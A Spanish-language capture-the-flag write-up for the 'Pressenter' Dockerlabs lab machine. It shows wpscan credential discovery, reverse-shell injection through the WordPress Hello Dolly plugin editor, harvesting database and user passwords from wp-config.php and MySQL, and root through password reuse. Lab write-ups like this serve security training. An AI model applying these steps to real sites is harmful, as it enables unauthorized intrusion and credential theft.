Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzippressenter.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_run.shpressenter.tar
Info:
██████╗ ██╗ ██╗███╗ ██╗██████╗ ██████╗ ██╗
██╔══██╗██║ ██║████╗ ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║ ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║ ██║╚═╝
██║ ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═╝
==
@+:@ @##@
@++:-----+@ @@#+:----:+#
#-+-----:+:---------:
*::-----++-----::::#
::------+:--------:
#-+------+:-::-----#@
*::+=@@#++-------::@
@+= @++::+#@@@#*#
#-@
*+#++@
+-:::+-@
:-:+:::+
@+::*::::
*::++-::*
=:--:-:++ @-#
#*:---:--++@ @@
@::-:--++*
@::-:++#
*++*
:: Plataforma de máquinas vulnerables ::
:: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::
█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
█ FLAG{Pwn3d!_is_awesome!} █
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█
[✔] bc ya está instalado.
[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual
[✔] Activando máquina virtual
[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Vemos que solo tenemos un puerto 80 abierto, si nos metemos a el no vemos gran cosa, pero si vamos al pie de pagina y vemos lo siguiente.
Por lo que vemos se esta utilizando un dominio y si clicamos en el, nos redirige a un dominio en el que no carga bien la pagina, ya que la resolucion no la esta haciendo, por lo que añadiremos ese dominio con la IP en nuestro archivo hosts.
Lo guardamos y si recargamos la pagina ahora si la veremos mejor, por lo que vemos esta utilizando un wordpress y en el vemos a un usuario llamado pressi, por lo que haremos lo siguiente.
wpscan
Info:
Por lo que vemos nos saca las credenciales del usuario pressi, ahora nos logearemos en el worpress.
Y metemos las credenciales:
Una vez dentro iremos a crearnos una Reverse Shell de la siguiente forma.
Reverse Shell
Si nos vamos a la seccion de plugins veremos uno que viene por defecto en todos los wordpress llamado Hellow Dolly, aprovecharemos ese plugin para injectar codigo php y cuando lo activemos que lo ejecute, nos iremos principalmente a la seccion de Herramientas y dentro del desplegable seleccionaremos Editor de archivos de plugins la ultima opcion.
Dentro de aqui solo habra un archivo llamado hello.php dentro del mismo injectaremos una reverse shell de la siguiente forma.
Metiendo esa linea de codigo dentro de las aperturas del contenido de php le daremos al boton de Actualizar archivo y los cambios ya estaras guardados, ahora antes de activar el plugin, tendremos que estar a la escucha.
Y una vez hecho esto, en la pagina de wordpress nos vamos a la seccion de plugins y el plugin llamado Hellow Dolly le daremos a Activar.
Nos saltara un error en wordpress pero si vamos a la escucha habremos obtenido una shell con el usuario www-data.
Sanitizamos la shell (TTY).
Escalate user enter
Si nos vamos a la siguiente direccion de directorio.
Podremos ver el tipico archivo de configuracion de wordpress donde suelen contener las credenciales para conectarte por mysql llamado wp-config.php y si lo leemos.
Info:
Vemos la seccion interesante donde obtenemos las credenciales para conectarnos por mysql.
mysql credentials
Y con eso estariamos dentro, listamos las bases de datos y nos metemos en la de wordpress, dentro de la misma en las tablas hay una que no suele estar llamada wp_usernames, si la vemos por dentro veremos que son las credenciales del usuario enter.
Info:
Las tablas.
Info:
Las credenciales de la tabla wp_usernames.
Info:
Por lo que nos cambiaremos al usuario enter.
Metemos la contraseña obtenida y ya estaria, por lo que leeremos la flag.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente.
Pero no podemos hacer gran cosa con eso, por lo que esta hecho para despistar, pero si probamos a reutilizar la misma contarseña con el usuario root.
Y ponemos la contraseña kernellinuxhack veremos que tambien tiene esa contraseña, por lo que ya seremos root y leeremos la flag.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-22 10:02 EDT
Nmap scan report for 172.18.0.2
Host is up (0.000029s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Pressenter CTF
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds
Find us at pressenter.hl
nano /etc/hosts
#Dentro del nano
<IP> pressenter.hl
connect to [192.168.5.145] from (UNKNOWN) [172.18.0.2] 46138
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
cd /var/www/pressenter/
cat wp-config.php
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'admin' );
/** Database password */
define( 'DB_PASSWORD', 'rooteable' );
/** Database hostname */
define( 'DB_HOST', '127.0.0.1' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
+----+----------+-----------------+---------------------+
| id | username | password | created_at |
+----+----------+-----------------+---------------------+
| 1 | enter | kernellinuxhack | 2024-08-22 13:18:04 |
+----+----------+-----------------+---------------------+
1 row in set (0.00 sec)
User = enter
Pass = kernellinuxhack
su enter
4a05a7bc45edb56b1f033ca1606e176c
Matching Defaults entries for enter on 3c646d90bb75:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User enter may run the following commands on 3c646d90bb75:
(ALL : ALL) NOPASSWD: /usr/bin/cat
(ALL : ALL) NOPASSWD: /usr/bin/whoami